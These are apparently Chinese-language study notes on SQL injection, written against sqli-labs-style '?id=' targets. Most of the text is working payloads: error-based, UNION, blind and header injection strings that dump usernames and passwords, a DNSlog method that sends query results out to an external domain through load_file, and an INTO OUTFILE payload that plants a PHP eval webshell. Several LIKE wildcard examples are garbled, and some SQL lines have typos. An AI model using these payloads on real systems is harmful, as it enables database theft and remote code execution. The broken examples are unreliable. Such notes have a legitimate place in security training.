开始之前引入一下sql的官方手册https://www.dba.cn/book/sql/
原理
当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据,本质是把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则。
SQL数据库基础
注入步骤
1 查找注入点
2 判断是字符型还是数字型注入 and 1=1 1=2/3-1
3 如果字符型 找到他的闭合方式,' " ') ")
4 判断查询列数,group by order by
5 查询回显位置,-1
结构基础
+数据库 ( database )
- 表_user ( table_user )
- 表_users ( table_users )
- 列_id (column_id)
- 列_username (column_username)
- 列_password (column_password)
- 数据
- 数据
语法基础
常用词语
- select
后面加列名
- from
后面加表名
- where
条件语句
eg:>select * from users where id=1;
select * from users where id in ('3');
select * from users where id=(select id from users where username=('admin'));
常用查询参数指令
- union
执行两边sql语句并且显示数据
eg:>select id from users union select email_id from emails;
select from users where id=6 union select ,3 from emails where id=6;
- group by
分组,查看列数
eg:>select department,count(id) from student group by department;
select * from users where id=9 group by 2;
select * from users where id=9 group by 4;
- order by
同group by一般用于判断数据表列表
默认按照升序排序
eg:>select stu_id from score where c_name="11" order by grade desc;
grade参数desc使排序顺序变为降序
- limit
限制输出内容的数量,一般用于显示报错消息
eg:>select * from users limit 1,3;
select * from users limit 0,3;
- and
- or
常用函数
- user():当前数据库用户
- database():当前数据库名
- version():当前使用的数据库版本
- @@datadir():数据库存储数据路径
- concat():联合数据,用于联合多条数据结果,多行变一行。eg:concat(username,0x3a,password)
- group_concat():和concat()类似,group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来
- concat_ws():用法类似
- hex()和unhex():用于hex编码解码
- ASCII():返回字符的ASCII码值
- CHAR():把整数转换为对应的字符
- load_file():以文本的方式读取文件,在windows中,路劲设置为\
- select xxoo into outfile '路径':权限高时可直接写文件
注释符号
--+ # %23 使用注释符号可以将某段程序注释掉 不让它运行
注入类型
按照查询字段
- 字符型(输入为字符串)
- 数字型(输入为整形)
按照注入类型
- Union注入
前后查询的
- 报错注入
- 布尔注入
- 时间注入
遇到的方法
like模糊查询
SELECT 字段 FROM 表 WHERE 某字段 LIKE 条件
%
表示任意0个或多个字符,可匹配任意类型和长度的字符。有些情况下是中文,需要用两个百分号(%%)表示
- 将u_name为"张三","三脚猫","唐三藏"等有"三"的记录全找出来
SELECT * FROM [user] WHERE u_name LIKE '%三%'
- 如果需要找出u_name中既有"三"又有"猫"的记录,请运用and条件
SELECT * FROM [user] WHERE u_name LIKE '%三%' AND u_name LIKE '%猫%'
- 虽然能搜索出"三脚猫",但不能搜索出符合条件的"张猫三"
SELECT * FROM [user] WHERE u_name LIKE '%三%猫'
_
表示任意单个字符,匹配单个任意字符,它常用来限定表达式的字符长度语句
- 只找出"唐三藏"这样u_name为三个字且中间一个字是"三"的
SELECT * FROM [user] WHERE u_name LIKE '三'
- 只找出"三脚猫"这样u_name为三个字且第一个字是"三"的
SELECT * FROM [user] WHERE u_name LIKE '三__'
[]
表示括号内所列字符中的一个(类似于正则表达式),指定一个字符,字符串或范围,要求所匹配的对象为它们中的一个
- 找出"张三","李三","王三"(而非"张李王三")
SELECT * FROM [user] WHERE u_name LIKE '[张李王]三'
- 找出"老1","老2",......,"老9"
SELECT * FEOM [user] WHERE u_name LIKE '老[1-9]'
[^]
表示不在括号所列之内的单个字符,其取值和[]相同,但它要求所匹配对象为指定字符以外的任一个字符
- 找出不姓"张","李","王"的"赵三","孙三"
SELECT * FROM [user] WHERE u_name LIKE '1三'
- 排除"老1"到"老4" 寻找"老5","老六"......
SELECT * FROM [user] WHERE u_name LIKE '老2';
extractValue()
select extractvalue(列名,'路径') from xml;
路径不会报错 但是查询不到内容
查询参数格式符号写错 会出现报错
select extractvalue(列名,concat(0x7e,(select database()))) from xml;
对上述报错消息的利用
?id=100' and 1=extractvalue(1,concat(0x7e,(select group concat(table_name) from information_schema.tables where table_schema=database()))) --+
获取所需数据表表名users
?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) --+
获取所需数据列列名的username和password
?id=100'and 1=extractvalue(1,concat(0x7e,(select substring(group_concat(username,'~',password),25,30) from users))) --+
使用substring解决只能返回32个字符串的问题
updatexml(XML_document,XPath_string,new_value)
原理与extractvalue()基本相同,XML_document是文档对象,XPath_string是路径,new_value替换查找到的符合条件的数据
?id=1")and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+
查看表名
?id=1")and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3)--+
查看列名
?id=1")and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,':',password),30,30) from users)),3)--+
floor()
相关函数
- rand():随机返回0~1间的小数
select rand();
- floor():小数向下取整数。向上取整数ceiling()
floor(rand());
- concat_ws():将括号内数据用第一个字段连接起来
select concat_ws('_',(select database()),floor(rand()*2)) from users;
- group by子句:常用于统计函数,对结果集进行分组
- as:别名
select concat_ws('_',(select database()),floor(rand()*2)) as a from users group by a;
- count():汇总统计数量
select count(),concat_ws('_',(select database()),floor(rand()2)) as a from users group by a;
rand()函数进行分组group by和统计count()时可能会多次执行,导致键值key重复。
- limit:显示指定行数
?id=0' union select 1,count(),concat_ws('-',(select concat('~',id,username,':',password) from users limit 0,1),floor(rand(0)2))as a from information_schema.tables group by a --+
盲注
布尔盲注
常用函数
?id=1' and ascii(substr((select database()),1,1))>114--+
闭合符的判断
排除双引号
?id=1'为假
?id=1"为真
?id=1'--+为真
?id=1"--+为真
排除单引号加括号
?id=1'为假
?id=1)为假
时间盲注
前提条件
数据库会执行代码,只是不反馈页面信息
web页面只返回一个正常页面
利用页面响应时间不同,逐个猜解数据
常用函数
if(condition,true,false)
select if(ascii(substr((select database()),1,1))>100,sleep(0),sleep(3));
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100,sleep(0),sleep(3))--+
DNSlog注入
提高效率
用到的网站
手动注入
获取库名
1 and (select load_file(concat("//",(select database()),"域名"))) --
获取表名
1 and (select load_file(concat("//",(select table_name from information_schema.tables where table_schema='xxx' limit 0,1),"域名"))) --
获取列名
1 and (select load_file(concat("//",(select column_name from information_schema.columns where table_schema='xxx' and table_name='xxx' limit 0,1),"域名"))) --+
自动化注入
dnslogsql看下面这篇文章
https://blog.csdn.net/qq_56607768/article/details/124224966
sql注入文件上传
要点
- 首先查看MySQL读取权限 执行show variables like '%secure%';然后查看回显ON OFF
- 向操作系统写入和读取已经存在的权限(数据库的file权限规定了数据库用户是否有权限)
- into outfile 命令使用环境
指令
?id=1')) union select 1,2,"<?php @eval($_POST['password']);?>",into outfile "D:\web\\test.php"将一句话木马写入后面的文件中
在看下部分文章之前可以先了解一下POST和get请求的不同 https://blog.csdn.net/l_fireworks/article/details/114131299
提交方式注入
POST注入和get注入
需要了解POST和GET的一些区别
至于注入的方法感觉大差不差 就是书写地方不一样
类别就是POST union注入 报错注入 布尔盲注 时间盲注 DNSLog注入
接下来重点介绍一下
POST报头注入
uagent注入
使用报错注入
例>UA:' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema=database())),0),'','')#
例>UA:' or updatexml(1,concat('#',(select group_cancat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),0),'','')#
例>UA:' or updatexml(1,concat('#',(select concat(username,':',password) from users limit 0,1)),0),'','')#
referer注入
cookie注入
union注入方法
一些sql绕过方法
- 注释符绕过
- 大小写绕过
- 编码绕过
- 重复绕过
- 空格绕过
- join绕过